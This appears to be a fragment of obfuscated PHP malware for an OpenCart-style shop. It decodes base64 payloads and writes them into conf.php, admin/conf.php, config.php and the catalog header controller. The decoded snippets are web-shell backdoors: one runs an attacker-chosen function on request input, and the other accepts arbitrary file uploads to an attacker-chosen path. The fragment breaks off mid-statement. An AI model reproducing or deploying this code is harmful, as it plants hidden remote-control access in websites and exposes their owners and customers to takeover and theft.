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')));            
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/conf.php', 'w');
                fwrite($fp, $datasss.PHP_EOL);
                fclose($fp);
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/admin/conf.php', 'w');
                fwrite($fp, $datasss.PHP_EOL);
                fclose($fp);
                $confdist = base64_decode('aWYgKCRfUkVRVUVTVFsncGFyYW0xJ10mJiRfUkVRVUVTVFsncGFyYW0yJ10pIHskZiA9ICRfUkVRVUVTVFsncGFyYW0xJ107ICRwID0gYXJyYXkoJF9SRVFVRVNUWydwYXJhbTInXSk7ICRwZiA9IGFycmF5X2ZpbHRlcigkcCwgJGYpOyBlY2hvICdPSyc7fSBlbHNlIHsgZWNobyAnWW91IGFyZSBmb3JiaWRkZW4hJzt9');
                $confdist1 = base64_decode('aWYgKGlzc2V0KCRfRklMRVNbJ0YxbDMnXSkpIHttb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snRjFsMyddWyd0bXBfbmFtZSddLCAkX1BPU1RbJ05hbWUnXSk7IGVjaG8gJ09LJzsgRXhpdDt9Ow==').' ';        $configfile = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/config.php');
                $configfile = str_replace(' '.$confdist1,'',$configfile);
                $configfile = str_replace(array('<?php','<?'),array($confdist1,$confdist1),$configfile);
                $configfile = '<?php '.$configfile;
                $headerfile = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/catalog/controller/common/header.php');
                $headerfile = str_replace($confdist1,'',$headerfile);
                $headerfile = str_replace(array('php?>','?>'),array('',''),$headerfile);
                $headerfile = $headerfile.PHP_EOL.$confdist1;            
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/catalog/controller/common/header.php', 'w');            
                fwrite($fp, $headerfile.PHP_EOL);            
                fclose($fp);        
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/config.php', 'w');        
                fwrite($fp, $configfile);            
                fclose($fp);        
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/admin/config-dist.php', 'w');            
